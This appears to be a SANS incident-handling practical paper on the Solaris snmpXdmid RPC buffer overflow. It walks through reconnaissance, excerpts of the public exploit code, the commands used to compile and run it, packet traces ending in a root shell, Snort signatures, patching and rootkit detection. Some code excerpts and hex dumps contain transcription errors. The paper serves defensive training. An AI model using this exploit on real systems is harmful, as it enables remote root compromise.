Use offense to inform defense. Find flaws before the bad guys do.

Copyright SANS Institute
Author Retains Full Rights

This paper is from the SANS Penetration Testing site. Reposting is not permitted without express written permission.

Interested in learning more?
Check out the list of upcoming events offering "Hacker Tools, Techniques, Exploits, and Incident Handling (SEC504)" at https://pen-testing.sans.org/events/
GAIC - GCIH Practical Assignment
Version: 2.0 Option 1

Sun snmpXdmi overflow

Kevin Miller
SANS – Monterey, February 2002
Table of Contents:

1. The Exploit 2
   1.1 Exploit Name. 2
   1.2 Operating Systems Affected: 2
   1.3 Protocols / Services / Applications. 2
   1.4 Brief Description. 2
   1.5 Variants. 3
   1.6 References. 3

2. The Attack 4
   2.1 Description: 4
   2.2 Protocol description. 7
   2.3 How the exploit works. 9
   2.4 the attack described. 12
   2.5 Signature of the attack 14
   2.6 protecting against it. 22

3. The Incident Handling Process 24
   3.1 Preparation. 24
   3.2 Identification. 24
   3.3 Containment. 27
   3.4 Eradication. 29
   3.5 Recovery. 30
   3.6 Lessons Learned. 31

Appendix (A). Glossary – from DMI Specification 32
Appendix (B). Source Code solsparc_snmpXdmid.c 34
Appendix (C). Rootkit Information 39
References 46

Table of Figures:

Figure 1: Big City ISP Infrastructure 5
Figure 2: DMI and Enterprise Agents 9
Figure 3: snmpXdmid Attack Demonstrated 13
Figure 4: Attack Steps 13
Figure 5: RPC Request Program 100249 15
Figure 6: RPC Reply Program 100249
Figure 7: Snort Alerts on this Packet.
Figure 8: Running snmpXdmid after Patching.
1. The Exploit

1.1 Exploit Name.

Solaris SNMP to DMI mapper daemon vulnerability.
CVE Name: CVE-2001-0236.
CERT Advisory: CA-2001-05

1.2 Operating Systems Affected:

- Sun Solaris 2.6_(sparc and x86)
- Sun Solaris 7.0_(sparc and x86)
- Sun Solaris 8.0_(sparc and x86)

1.3 Protocols / Services / Applications.

- RPC portmapper - udp port 111
- snmpXdmid service ID 100249 for this attack TCP port 32777.

Note: The RPC portmapper service was queried on UDP port 111 to obtain the port assignment of the snmpXdmid service id 100249.

1.4 Brief Description.

The snmpXdmid exploit takes advantage of a buffer overflow condition. The snmpXdmid daemon runs as root. Compromising it can result in both local and remote root access. According to Job de Hass “the overflow can be triggered by the event DmiComponentAdded with all fields empty except for the name of the component the indication is about. This results in a simple overflow in a memcpy in the daemon:”

The remote procedure call (RPC) portmapper is queried to determine the port assigned to the snmpXdmid daemon. An indication is send to the DmiComponentAdded function and is formed to cause a buffer overflow. The return pointer is adjusted to bounce back to a command shell sent in the code. The daemon was running as root so the shell is now a root shell.

---

1 Haas, Job de. “Solaris SNMP to DMI mapper daemon vulnerability.” Date: 2001-03-15.
URL: http://www.itsx.com/snmpXdmid.html
1.5 Variants.

Sun is the only platform that variants exist for.

Two variations of the exploit are:

- SnmpXdmid/s-no Exploit¹
- solsparc_snmpxdmid.c²

There are other RCP exploits³ such as

    rpc.ttdbserverd
    yppasswdd
    rpc.stad
    rcp.sadmind
    rpc.pcnfsd
    rpc.nisd
    rpc.cmsd

The similarity between the smnpXdmid exploit and the others is the RPC portmapper service. All of the services use the RPC functions to communicate. There is a client stub and server stub association for each service.

1.6 References.

URL’s on the snmpXdmid vulnerability.

http://www.itsx.com/snmpXdmid.html ¹
http://www.kb.cert.org/vuls/id/648304 ⁴

The source for the exploit was obtained from:

http://www.lsd-pl.net/code/SOLARIS/solsparc_snmpxdmid.c ⁸
2. The Attack

2.1 Description:

Profiles:

Attacker

The attacker subscribed to the bugtraq list and noticed a message posted on December 21st, 1999 entitled “Solaris 2.7 dmispd local/remote problems”\(^5\). In the note the author talked of problems associated with the dmispd daemon. Our attacker found the note interesting so he archived it to his Solaris folder. Three months later another appeared, this one entitled “Solaris /usr/lib/smi/smpXdmid vulnerability.”\(^6\) The platform our attacker was using was Redhat Linux 7.1. Our attacker had control of many machines within Big City ISP ADSL Customer base. One of the machines belonged to Bob. Bob had a very weak root password on his machine; it was “password”.

Victim(s):

Bob:

Bob had a high speed ADSL modem at home with a small network of 2 machines one a Windows NT workstation and the other a Redhat Linux 7.0. Both machines had static routable IP addresses. Bob had no firewall at home and didn’t have time for security. Bob was a programmer at Big City ISP and worked in the web design department.

Big City ISP:

The technical area of Big City ISP was understaffed and overworked. Larry, Curly and Moe supported the company’s network and firewall. The company firewall was an HA pair of Cisco PIX 525’s. The routers were Cisco 7206. The Web, Mail and News servers were all Sun E220R Sparc boxes running Solaris 2.7. Operating system builds were beginning to improve at Big City ISP. The new web server had the full install (plus OEM) and had been patched. Curly had turned off telnet, installed openssh, wu-ftp and had time to change the banners. The SMTP mail server was a tight install; Curly had finished patching it and had time to setup anti-relaying. The news server was in the worst shape. It was inherited and no one had to taken ownership of it. It had a complete build (plus OEM) of Solaris 2.7 on it. No patches had been done and all
services were running on the box. The technical team had other projects on their plate and they felt the firewall was secure. The rule set on the firewall allowed all head office traffic out to the Internet. Http traffic was filtered thru a Web blocking application. The rule allowing Internet traffic in was restricted to the DMZ network and allowed the following: http, https to the web server, SMTP to the mail server and nntp to the News server. One of the rules allowed all ports access to the DMZ from the ADSL IP block of addresses, sloppy but true. Bob’s ADSL IP’s were two that were on that list.

![Figure 1: Big City ISP Infrastructure](image)

The stage is set. Attacker has root access to Bob’s Redhat Linux box because of a successful brute force attack on the telnet service. After some DNS reconnaissance our attacker had run scans from Bob’s Redhat Linux box, against Big City ISPs’ IP ranges using nmap. Here is the result of the nmap scan on the news server:

```
#nmap --st news.bigcityisp.com
```

<table>
<thead>
<tr>
<th>Port</th>
<th>State</th>
<th>Service</th>
</tr>
</thead>
<tbody>
<tr>
<td>7/tcp</td>
<td>open</td>
<td>echo</td>
</tr>
<tr>
<td>9/tcp</td>
<td>open</td>
<td>discard</td>
</tr>
<tr>
<td>13/tcp</td>
<td>open</td>
<td>daytime</td>
</tr>
<tr>
<td>19/tcp</td>
<td>open</td>
<td>chargen</td>
</tr>
</tbody>
</table>
Our attacker decided to check the services RPC offered.

```
# rpcinfo -p news.bigcityisp.com
```

<table>
<thead>
<tr>
<th>program</th>
<th>vers</th>
<th>proto</th>
<th>port</th>
<th>service</th>
</tr>
</thead>
<tbody>
<tr>
<td>100000</td>
<td>4</td>
<td>tcp</td>
<td>111</td>
<td>rpcbind</td>
</tr>
<tr>
<td>100000</td>
<td>3</td>
<td>tcp</td>
<td>111</td>
<td>rpcbind</td>
</tr>
<tr>
<td>100000</td>
<td>2</td>
<td>tcp</td>
<td>111</td>
<td>rpcbind</td>
</tr>
<tr>
<td>100000</td>
<td>4</td>
<td>udp</td>
<td>111</td>
<td>rpcbind</td>
</tr>
<tr>
<td>100000</td>
<td>3</td>
<td>udp</td>
<td>111</td>
<td>rpcbind</td>
</tr>
<tr>
<td>100000</td>
<td>2</td>
<td>udp</td>
<td>111</td>
<td>rpcbind</td>
</tr>
<tr>
<td>100024</td>
<td>1</td>
<td>udp</td>
<td>32772</td>
<td>status</td>
</tr>
<tr>
<td>100024</td>
<td>1</td>
<td>tcp</td>
<td>32771</td>
<td>status</td>
</tr>
<tr>
<td>100133</td>
<td>1</td>
<td>udp</td>
<td>32772</td>
<td></td>
</tr>
<tr>
<td>100133</td>
<td>1</td>
<td>tcp</td>
<td>32771</td>
<td></td>
</tr>
<tr>
<td>100021</td>
<td>1</td>
<td>udp</td>
<td>4045</td>
<td>nlockmgr</td>
</tr>
<tr>
<td>100021</td>
<td>2</td>
<td>udp</td>
<td>4045</td>
<td>nlockmgr</td>
</tr>
<tr>
<td>100021</td>
<td>3</td>
<td>udp</td>
<td>4045</td>
<td>nlockmgr</td>
</tr>
<tr>
<td>100021</td>
<td>4</td>
<td>udp</td>
<td>4045</td>
<td>nlockmgr</td>
</tr>
<tr>
<td>100232</td>
<td>10</td>
<td>udp</td>
<td>32773</td>
<td>sadmind</td>
</tr>
<tr>
<td>100232</td>
<td>1</td>
<td>udp</td>
<td>32774</td>
<td>rquotad</td>
</tr>
<tr>
<td>100002</td>
<td>2</td>
<td>udp</td>
<td>32775</td>
<td>rusersd</td>
</tr>
</tbody>
</table>
2.2 Protocol description.

The Desktop Management Task Force (DMTF) defined the Desktop Management Interface (DMI) specification. DMI was developed to provide a bridge between management applications and the managed components.

DMI has four elements they are:

1. a format for describing management information
2. a service provider entity
3. two sets of APIs, one set for service providers and management applications to interact, and the other for service providers and components to interact.
4. a set of services for facilitating remote communication. 2 7
The Sun solution to the DMI specification is called “Solstice Enterprise Agent” (SEA). SEA consists of:

- SNMP Master Agent that listens on port 161/udp (SNMP),

  The SNMP protocol uses UDP ports 161 and 162. Messages are sent over the ports between manager and agent components. SNMP has five operator functions:

  1. get-request (used from manager to agent on udp/161)
  2. get-next-request (used from manager to agent on udp/161)
  3. set-request (used from manager to agent on udp/161)
  4. get-response (response to manager from agent on udp/161)
  5. trap (notification to manager on udp/162 from agent of an event)

- subagents that communicate with the Master Agent via SNMP,
- Legacy SNMP agents
- Mapper provides conversion of DMI to SNMP and SNMP to DMI for the Master Agent. The snmpXdmid daemon is the mapper that provides the conversion. The SEA toolkit states; “The DMI mapper snmpXdmid provides a mapping function that dynamically translates DMI information into the SNMP MIB format for communication with SNMP management applications. An SNMP management application may send requests to snmpXdmid, that in turn converts the SNMP requests into DMI requests.”

---

2 Desktop Management Task Force (DMTF). Desktop Management Interface Specification, Version 2.0s
June 24, 1998: 8
URL: http://www.dmtf.org/download/spec/dmi20s.zip
3 Stevens, W. Richard. TCP/IP Illustrated, Volume 1.
4 Solstice Enterprise Agents User Guide 1.0, Chapter 6. Using SNMP With DMI
Access to snmpXdmid is through Remote Procedure Call (RPC). The RPC client stub sends the request to the remote server RPC stub. The server stub receives the request and passes it on to the service. The process is reversed to send the reply back. The RPC portmapper service is queried to locate the ephemeral ports assigned to the snmpXdmid service. The RPC program number assigned to snmpXdmid is 100249.

Once the high numbered ephemeral port is known, the attack sends a series of datagrams to take advantage of a callback service from dmid to snmpXdmid.

"The overflow is generated by the event 'DmiComponentAdded'. with all fields empty except for the name of the component the indication is about. The result is an overflow in a 'memcpy'." see footnote 1 above

### 2.3 How the exploit works.

The RPC service on the victim is queried to see if the snmpXdmid service is running the code does this is:

```c
#define SNMPXDMID_PROG 100249 /* SNMPXDMID_PROG is initialized to 100249 */
#define SNMPXDMID_VERS 0x1 /* SNMPXDMID_VERS is initialized to 0x1 */

sck=RPC_ANYSOCK; /* RPC port query for snmpxdmid tcp port number*/
if(!clnttcp_create(&adr,SNMPXDMID_PROG,SNMPXDMID_VERS,&sck,0,0))
     clnt_pcreateerror("error");exit(-1);
```

---

5 Solstice Enterprise Agents User Guide 1.0, Section 5.4. Figure 5-1, Architecture of DMI
The struct definitions set up global pointer variables. Local variables are set inside of the main() function. The req.pragma.val variable contains the buffer overflow code that will be sent to snmpXdmid daemon on the victim.

```c
typedef struct {
    struct {unsigned int len; char *val;} name;
    struct {unsigned int len; char *val;} pragma;
} req_t;

main(int argc, char **argv) {
    char buffer[140000], address[4], pch[4], *b;
    int i, c, n, vers=-1, port=0, sck;
    CLIENT *cl; enum clnt_stat stat;
    struct hostent *hp;
    struct sockaddr_in adr;
    struct timeval tm={10,0};
    req_t req;
    
    sck=RPC_ANYSOCK; /* RPC port query for snmpxdmid tcp port number */
    if(!(cl=clnttcp_create(&adr, SNMPXDMID_PROG, SNMPXDMID_VERS, &sck, 0, 0))) {
        clnt_pcreateerror("error"); exit(-1); /* if a connection is not available send an error and exit program */
    }
    cl->cl_auth=authunix_create("localhost", 0, 0, NULL);
    i=sizeof(struct sockaddr_in);
    if(getsockname(sck, (struct sockaddr*)&adr, &i) == -1) {
        struct {unsigned int maxlen; unsigned int len; char *buf;} nb;
        ioctl(sck, (('S'<<8)|2), "sockmod");
        nb.maxlen=0xffff;
        nb.len=i;
        ioctl(sck, (('T'<<8)|144), &nb);
    }
    n=ntohs(adr.sin_port);
    printf("port=%d connected! ", n); fflush(stdout);

    findsckcode[12+2]=(unsigned char)((n&0xff00)>>8);
    findsckcode[12+3]=(unsigned char)(n&0xff);
    b=&buffer[0];
    for(i=0; i<1248; i++) *b+=pch[i%4];
    for(i=0; i<352; i++) *b+=address[i%4];
    *b=0;

   LSD Research Group, "snmpXdmid" April 2001
   URL: <http://www.lsd-pl.net/code/SOLARIS/solsparc_snmpxmid.c>
```

---

URL: <http://www.lsd-pl.net/code/SOLARIS/solsparc_snmpxmid.c>
The preprocessor define statement established the value for the SNMPXDMID_ADDCOMPONENT identifier as 0x101. Referencing the Sun SEA software development kit we find the required definitions and the indication targeted for the buffer overflow, being DmiComponentAddedIN.

```
typedef struct DmiSubscriptionNoticeIN DmiSubscriptionNoticeIN;

#define DMI2_CLIENT ((unsigned long)(123456789))
#define RMI2_CLIENT_VERSION ((unsigned long)(0x1))

#if defined(__STDC__) || defined(__cplusplus)
#define _DmiDeliverEvent ((unsigned long)(0x100))
extern DmiErrorStatus_t * _dmideliverevent_0x1(DmiDeliverEventIN *, CLIENT *);
extern DmiErrorStatus_t * _dmideliverevent_0x1_svc(DmiDeliverEventIN *, struct svc_req *);
#define _DmiComponentAdded ((unsigned long)(0x101))
extern DmiErrorStatus_t * _dmicomponentadded_0x1(DmiComponentAddedIN *, CLIENT *);
extern DmiErrorStatus_t * _dmicomponentadded_0x1_svc(DmiComponentAddedIN *, struct svc_req *);
```

The “findsckcode” is for keeping the TCP connection alive for the interactive shell that is spawned by “shellcode”.  

```
b=&buffer[0];
for(i=0;i<1248;i++) *b++=pch[i%4];
for(i=0;i<352;i++) *b++=address[i%4];
b=0;

b=&buffer[10000];
for(i=0;i<64000;i++) *b++=0;
for(i=0;i<64000-188;i++) *b++=nop[i%4]; /* no op slide */
for(i=0;i<strlen(findsckcode);i++) *b++=foundsckcode[i]; /* holding TCP connection */
for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i]; /* Sends shellcode */
*b=0;

req.name.len=1200+400+4;
req.name.val=&buffer[0];
req.pragma.len=128000+4;
req.pragma.val=&buffer[10000]; /* buffer overflow with /bin/ksh */
```

7 Sun Solstice Enterprise Agent Software Development Kit (Solaris 2.6,7), miexample.h file.
URL: http://www.sun.com/software/entagents/download/index.html
req.pragma.val=&buffer[10000];

stat=clnt_call(cl,SNMPXDMID_ADDCOMPONENT,xdr_req,&req,xdr_void,NULL,tm);
if(stat==RPC_SUCCESS) {printf("error: not vulnerable\n");exit(-1);}
printf("sent!\n"); 6 above

A memcpy allows the overflow to occur with the xdr_DmiComponetAddedIn indication when this occurs. The return pointer is overwritten with the nops, findsckcode and shellcode then the return pointer is set back to run the shellcode.

To use the exploit, the code was compiled with the following:

Attacker# gcc solsparc_snmpxdmid.c –o solsparc_snmpxdmid

Then run:

Attacker # solsparc_snmpxdmid news.bigcityisp.com –v 7

To take advantage of the exploit without the code you could use the Sun SEA SDK. Using a debugger to monitor the snmpXdmid you could send indications to the daemon. By increasing the buffer size for different indications you would monitor the stack for an overflow condition. Once an overflow condition was located you could then write out the indication and variable strings required to take advantage of the overflow.

2.4 the attack described.

Our attacker, using Bob's Redhat 7.0 machine, has run the attack against the news server at bigcityisp.com. The screen capture shown in Figure 3 shows the attack.
Figure 3: snmpXdmid Attack Demonstrated

1. Code run from Bob's machine. RCP request for snmpXdmid port number. 1 Frame sent.
2. News.bigcityisp.com responds to RCP port get request with port number for snmpXdmid. 1 Frame sent in reply.
3. Attack overflows the _DmiComponetAddIN function. 470 frames are sent.
4. Frame 472 of attack sends findsckode and shellcode for execution on victim (news.bigcityisp.com).
5. The victim machine returns a /bin/ksh to the attacker. Remote root compromise is successful.
6. To ensure return access a root kit is placed on the victim box.

Figure 4: Attack Steps

2.5 Signature of the attack
The snmpXdmid attack has two signatures that snort alerts on. The first is the initial RPC request for the port number and the second is the beginning of the overflow attack.

The packet captures were done using snort in binary (tcpdump mode) using:

```
# news.bigcityisp.com > snort -b -i hme0 -l /var/log/snort
```

The traces come from the out3.file and are displayed in Ethereal or snort output. The snort output uses the syntax “snort -dve -r out3.file”.

The output log, out3.file, was used to create the alert files using the following command:

```
# news.bigcityisp.com> snort -r out3.file -r ./rules/ -l /var/log/snort
```

There are three distinct patterns that are matched by snort for the traffic, they are:

- The initial RPC request for the snmpXdmid program number caused snort to alert.

  [**][1:1279:4] RPC UDP portmap request snmpXdmi [**]
  [Classification: Decode of an RPC Query] [Priority: 2]
  04/10-00:41:45.161075 0:50:8B:2:3A:D7 -> 8:0:20:B9:15:E7 type:0x800 len:0x62
  Len: 64
  [Xref => http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2001-0236]
  [Xref => http://www.cert.org/advisories/CA-2001-05.html]
  [Xref => http://www.securityfocus.com/bid/2417]

  The signature match from the rpc.rules file used by snort (v 1.8.6) for the alert above is:

```
```

- There’s a group of two items that need to exist in the packet for the alert to occur. The matches are:

  1. UDP from any IP on any port to our network on port 111, the RPC port.
  2. The content “[01 87 99 00 00]”, offset 40 and depth of 8 are

---

8 Rosech, Martin “Snort 1.8 series ruleset” Apr. 15, 2002.
URL: http://www.snort.org/dl/signatures/snortrules.tar.gz
grouped. The specific variable to match is identified by content. For offset we start looking for the content at the offset value but it can be matched up to a maximum of the value of depth away from the initial offset. The offset and depth variables keep the time to search to a minimum. \(^{11}\)

The RPC request is shown in Figure 5. The RPC reply packet, shown in Figure 6, provides the port number for the snmpXdmid daemon, TCP 32792.

![Ethereal Network Capture](image-url)

Figure 5: RPC Request Program 100249 \(^{12}\)
After the RPC request and reply the TCP session is set up with the snmpXdmid daemon. Below are the packet traces that show the TCP session being established.

```
04/10-00:41:45.162066 0:50:8B:2:3A:D7 -> 8:0:20:B9:15:E7 type:0x800 len:0x4A
bobsredhat:1074 -> news.bigcityisp.com:32792 TCP TTL:64 TOS:0x0 ID:6535 IpLen:20 DgmLen:60 DF
******S* Seq: 0x2516722B  Ack: 0x0  Win: 0x7D78  TcpLen: 40
TCP Options (5) => MSS: 1460 SackOK TS: 11529019 0 NOP WS: 0
```

```
04/10-00:41:45.162254 8:0:20:B9:15:E7 -> 0:50:8B:2:3A:D7 type:0x800 len:0x4E
news.bigcityisp.com:32792 -> bobsredhat:1074 TCP TTL:255 TOS:0x0 ID:56381 IpLen:20 DgmLen:64 DF
***A*** Seq: 0x34176999 Ack: 0x2516722C Win: 0x2798 TcpLen: 44
TCP Options (9) => NOP NOP TS: 11529019 NOP WS: 0 NOP
TCP Options => NOP SackOK MSS: 1460
```

```
04/10-00:41:45.162387 0:50:8B:2:3A:D7 -> 8:0:20:B9:15:E7 type:0x800 len:0x42
bobsredhat:1074 -> news.bigcityisp.com:32792 TCP TTL:64 TOS:0x0 ID:65360 IpLen:20 DgmLen:52 DF
***A*** Seq: 0x2516722C Ack: 0x3417699A Win: 0x7D78 TcpLen: 32
TCP Options (3) => NOP NOP TS: 11529019 697081 11529019 0 NOP
```
Packet 6 is the start of the overflow attack. This packet causes snort to alert with an “RPC snmpXdmi overflow attempt”.

```
[**] [1:569:3] RPC snmpXdmi overflow attempt [**]
Classification: Attempted Administrator Privilege Gain [Priority: 1]
04/10-00:41:45.170387 0:50:8B:2:3A:D7 -> 8:0:20:B9:15:E7 type:0x800 len:0x5EA
DgmLen:1500 DF
***AP*** Seq: 0x2516722C  Ack: 0x3417699A  Win: 0x7D78  TcpLen: 32
TCP Options (3) => NOP NOP TS: 11529019 697081
[Xref => http://www.securityfocus.com/bid/2417]
[Xref => http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2001-0236]
[Xref => http://www.cert.org/advisories/CA-2001-05.html]
```

The signature match from the rpc.rules file used by snort (v 1.8.6) for the alert above is:

```
alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"RPC snmpXdmi overflow attempt";
flags:a+;  content:"|0000 0f9c|"; offset:0; depth:4; content:"|00018799|"; offset: 16; depth:4;
reference:bugtraq,2417; reference:cve,CAN-2001-0236;
rev:4;) 8 above
```

There’s a group of four items that need to exist in the packet for the alert to occur. The matches are:

1. TCP on any port.
2. Flag a+ looks for the ACK flag. The + matches on the specified flag and any others.
3. The content “|0000 0f9c|”, offset 0 and depth of 4 are grouped. The specific variable to match is identified by content. For offset we start looking for the content at the offset value but it can be matched up to a maximum of the value of depth away from the initial offset.
4. The second content statement looks for “|0001 8799|”, offset 16 and depth of 4. For offset we start looking for the content at the offset value but it can be matched up to a maximum of the value of depth away from the initial offset.

Packet 6 is shown in Figure 7.
Figure 7: Snort Alerts on this Packet.

Packets 7 and 8 are shown below. Packet 7 is an overflow packet and 8 is an acknowledgement packet. Packets 9 through to 471 are a series of similar packets.

```
04/10-00:41:45.171618 0:50:8B:2:3A:D7 -> 8:0:20:B9:15:E7 type:0x800 len:0x5EA
bobsredhat:1074 -> news.bigcityisp.com:32792 TCP TTL:64 TOS:0x0 ID:6538 IpLen:20 DgmLen:1500 DF
***AP*** Seq: 0x251677D4  Ack: 0x3417699A  Win: 0x7D78  TcpLen: 32
TCP Options (3) => NOP NOP TS: 11529019 697081
00 00 00 0B FF FF FF 95 00 00 00 68 00 00 00 00 ..........h....
00 00 00 0B FF FF FF 95 00 00 00 68 00 00 00 00 ..........h....
00 00 00 0B FF FF FF 95 00 00 00 68 00 00 00 00 ..........h....
00 00 00 0B FF FF FF 95 00 00 00 68 00 00 00 00 ..........h....
00 00 00 0B FF FF FF 95 00 00 00 68 00 00 00 00 ..........h....
00 00 00 0B FF FF FF 95 00 00 00 68 00 00 00 00 ..........h....
00 00 00 0B FF FF FF 95 00 00 00 68 00 00 00 00 ..........h....
00 00 00 0B FF FF FF 95 00 00 00 68 00 00 00 00 ..........h....
00 00 00 0B FF FF FF 95 00 00 00 68 00 00 00 00 ..........h....
00 00 00 0B FF FF FF 95 00 00 00 68 00 00 00 00 ..........h....
00 00 00 0B FF FF FF 95 00 00 00 68 00 00 00 00 ..........h....
```
Below we see packet 472. In it we see /bin/ksh (the remoteshell code) being run.
Packet 474 below, shows the running of /bin/uname –a.

Packet 474 below, shows the reply from the victim machine. The exploit is
successful. The id command was run by the attacker. He is now root on the machine.

```
04/10-00:41:55.858888 8:0:20:B9:15:E7 -> 0:50:8B:2:3A:D7 type:0x800 len:0x8E
***AP*** Seq: 0x3417699A Ack: 0x251E5DD2 Win: 0x2798 TcpLen: 32
TCP Options (3) => NOP NOP TS: 698123 11530061
53 75 6E 4F 53 20 6E 65 77 73 2E 62 69 67 6C 75 69 64 3D 31 28 72 6F 6F 74 29 20 67 69 64 3D
75 69 64 3D 30 28 72 6F 6F 74 29
uid=0(root) gid=
```

```
04/10-00:41:55.870300 0:50:8B:2:3A:D7 -> 8:0:20:B9:15:E7 type:0x800 len:0x42
bobsredhat:1074 -> news.bigcityisp.com:32792 TCP TTL:64 TOS:0x0 ID:6899 IpLen:20 DgmLen:52 DF
***A*** Seq: 0x251E5DD2 Ack: 0x341769E6 Win: 0x7D78 TcpLen: 32
TCP Options (3) => NOP NOP
69 64 0A
``` id.

```
04/10-00:41:59.582218 0:50:8B:2:3A:D7 -> 8:0:20:B9:15:E7 type:0x800 len:0x45
bobsredhat:1074 -> news.bigcityisp.com:32792 TCP TTL:64 TOS:0x0 ID:6904 IpLen:20 DgmLen:55 DF
***AP*** Seq: 0x251E5DD2 Ack: 0x341769E6 Win: 0x7D78 TcpLen: 32
TCP Options (3) => NOP NOP TS: 11530461 698123
``` id.

```
04/10-00:41:59.587949 8:0:20:B9:15:E7 -> 0:50:8B:2:3A:D7 type:0x800 len:0x5A
news.bigcityisp.com:32792 -> bobsredhat:1074 TCP TTL:255 TOS:0x0 ID:56505 IpLen:20 DgmLen:76 DF
***AP*** Seq: 0x341769E6 Ack: 0x251E5DD5 Win: 0x2798 TcpLen: 32
TCP Options (3) => NOP NOP TS: 698524 11530461
75 69 64 3D 30 28 72 6F 6F 74 29 20 67 69 64 3D uid=0(root) gid=
31 28 6F 74 66 65 67 72 6F 6F 74 29 20 67 69 64 3D 1(other)
``` id.

2.6 protecting against it.

In the scenario we’ve explained, one of many steps in protecting against the vulnerability is to rationalize the rule set on the firewall. Time has caused rule set creep. The sloppy setting of rules that allowed “all traffic” from the ISP’s DSL IP ranges has allowed the attacker to run the snmpXdmid vulnerability from Bob’s home network IP range.

The quick fix for the vulnerability is to shut down the daemon by renaming all
S??dmi scripts found in /etc/rc?..d and stopping the dmi with "/etc/init.d/init.dmi stop". Further recommendation are to do a chmod on the /usr/lib/dmi/snmpXdmid to remove all file permissions. See footnote 1 above.

To fix the vulnerability Sun has released a patch for Solaris 2.7 the patch is 107709-18, available from http://sunsolve.sun.com. The patchadd command was used to install the patch. The result of running the snmpXdmid code on the patched box is shown in Figure 8.

```
[guest@attacker /home/guest/snmpXdmid]# /sbin/parc.snmpXdmid news.bigcityisp.com -v
Copyright LAST STAGE OF DELIRIUM nar 2001 poland //bsd-1l.net/
snmpXdmid for solaris 2.7 2.8 sparc
addr=0x000c0f60 timeout=10 port=1075 connected!
error: not vulnerable!
```

Figure 8: Running snmpXdmid after Patching.
3. The Incident Handling Process

The incident handling process described is a reflection of real events the author is aware of. Some events have been modified.

3.1 Preparation.

Incident handling at BigCityISP was in its infancy. There was recognition of the need for Security Policy, Firewall Management, Intrusion Detection, Vulnerability Assessment, Log Analysis and a CIRT. The manpower and an effective implementation plan were taking time.

Staff were stressed and bouncing from one crisis to another. They had Policy that outlined who, what, and when things were to be done but the bodies to do the work didn’t exist.

Bits and pieces of the security puzzle were in place. Vulnerability assessments were being run on a quarterly basis but corrective action wasn’t occurring. Years of default operating system builds and infrequent patching had created an environment riddled with problems. Corporate reorganization had created orphan systems that no one was looking after.

The reporting structure for incidents had been discussed and a structure was in place. An reporting procedure for Incident Handling had been defined and was being used. Personnel had some preliminary training on conducting incidents, but no one was dedicated to it. Chain of evidence processes had not been defined.

Backups occurred on all critical systems through a backup network using Legato Networker backup software. The systems were in a Data center environment with UPS and diesel backup. Documentation was non-existent.

The manager in charge of incident handling was contacted to discuss the actions to be taken. Moe and Larry got out the incident handling form to review their next steps.

3.2 Identification.

In the attack on BigCityISP our technical resource players discovered the incident through a vulnerability scan conducted on November 2nd of 2001.

Moe was conducting port scans of servers at bigcityisp.com when he found sshd running on a non-standard port on the news server. The scan indicated
sshd running on TCP port 1599. Moe asked Larry if it was normal to have sshd setup on TCP port 1599. Larry said no. (At this point the bells should have gone off and the Incident Handling Manager should have been called).

Moe and Curly logged onto the news server. They began poking around, and found ssh2 files in the /usr/bin /directory. The /usr/bin/ps –ef command didn’t find sshd running. They tried a /usr/bin/netstat –a command but it did not show sshd running. When a /usr/ucb/ps aux was run they saw the sshd daemon running with the –q option. The -q option tells ssh to run in quiet mode, no warnings, diagnostics or logging occurs.

Comparisons were done against another box looking at file sizes and date using the command “ls –l” for the /usr/bin/ps and /usr/bin/netstat commands. There was no difference. A sum check was done on the files, using "sum /usr/bin/ps" and "sum /usr/bin/netsat". The check revealed different values, indicating the server had a root kit on it.

The “last” command was checked. to see what log activity had been occurring. An error was returned. The wtmpx file was missing, another sign the machine was compromised.

The environment had a central backup server. The software used was Legato Networker software version 6.0.1 build 174. It provided the ability to do an immediate full backup, but no one did.

Moe looked through the backup tapes to see when the sshd daemon showed up on the server. He found that the /usr/bin/sshd program showed up on the backups at the end of March 2001.

Network vulnerability scans had been done using CyberCop scanner in May. Larry looked through the scan report and found four low level vulnerabilities identified. The RPC information was available from the scan. It showed the snmpXdmid daemon (program 100249) running.

1037 "portmapper" or "rpcbind" RPC service present
5/9/2001
5:18:36PM

Risk Factor: Low
Complexity: Low
Popularity: Widespread
Impact: Authorization ::Intelligence
Root Cause: Misconfiguration

Ease of Fix: Moderate
Description: The portmapper service was found running on the target host. Since RPC services do not run on well known ports this service is used to map RPC services to the dynamic port numbers that they currently reside on. RPC client programs use this service when they make a connection to a remote RPC server.

Security Concerns: This service can be used to survey your hosts for vulnerable RPC services.
Suggestion: We suggest that you restrict access to this service at your router by adding filter rules that prevent outside access to any TCP or UDP port 111 on your internal network. Be aware that it is not necessary to be able to contact the portmapper service to make connections to RPC services. Specialized portscanning software can find RPC services without being able to make a connection to the portmapper.

<table>
<thead>
<tr>
<th>program</th>
<th>vers</th>
<th>proto</th>
<th>port</th>
<th>service</th>
</tr>
</thead>
<tbody>
<tr>
<td>100000</td>
<td>4</td>
<td>tcp</td>
<td>111</td>
<td>rpcbind</td>
</tr>
<tr>
<td>100000</td>
<td>3</td>
<td>tcp</td>
<td>111</td>
<td>rpcbind</td>
</tr>
<tr>
<td>100000</td>
<td>2</td>
<td>tcp</td>
<td>111</td>
<td>rpcbind</td>
</tr>
<tr>
<td>100000</td>
<td>4</td>
<td>udp</td>
<td>111</td>
<td>rpcbind</td>
</tr>
<tr>
<td>100000</td>
<td>3</td>
<td>udp</td>
<td>111</td>
<td>rpcbind</td>
</tr>
<tr>
<td>100000</td>
<td>2</td>
<td>udp</td>
<td>111</td>
<td>rpcbind</td>
</tr>
<tr>
<td>100024</td>
<td>1</td>
<td>udp</td>
<td>32772</td>
<td>status</td>
</tr>
<tr>
<td>100024</td>
<td>1</td>
<td>tcp</td>
<td>32771</td>
<td>status</td>
</tr>
<tr>
<td>100133</td>
<td>1</td>
<td>udp</td>
<td>32772</td>
<td></td>
</tr>
<tr>
<td>100133</td>
<td>1</td>
<td>tcp</td>
<td>32771</td>
<td></td>
</tr>
<tr>
<td>100021</td>
<td>1</td>
<td>udp</td>
<td>4045</td>
<td>nlockmgr</td>
</tr>
<tr>
<td>100021</td>
<td>2</td>
<td>udp</td>
<td>4045</td>
<td>nlockmgr</td>
</tr>
<tr>
<td>100021</td>
<td>3</td>
<td>udp</td>
<td>4045</td>
<td>nlockmgr</td>
</tr>
<tr>
<td>100021</td>
<td>4</td>
<td>udp</td>
<td>4045</td>
<td>nlockmgr</td>
</tr>
<tr>
<td>100232</td>
<td>10</td>
<td>udp</td>
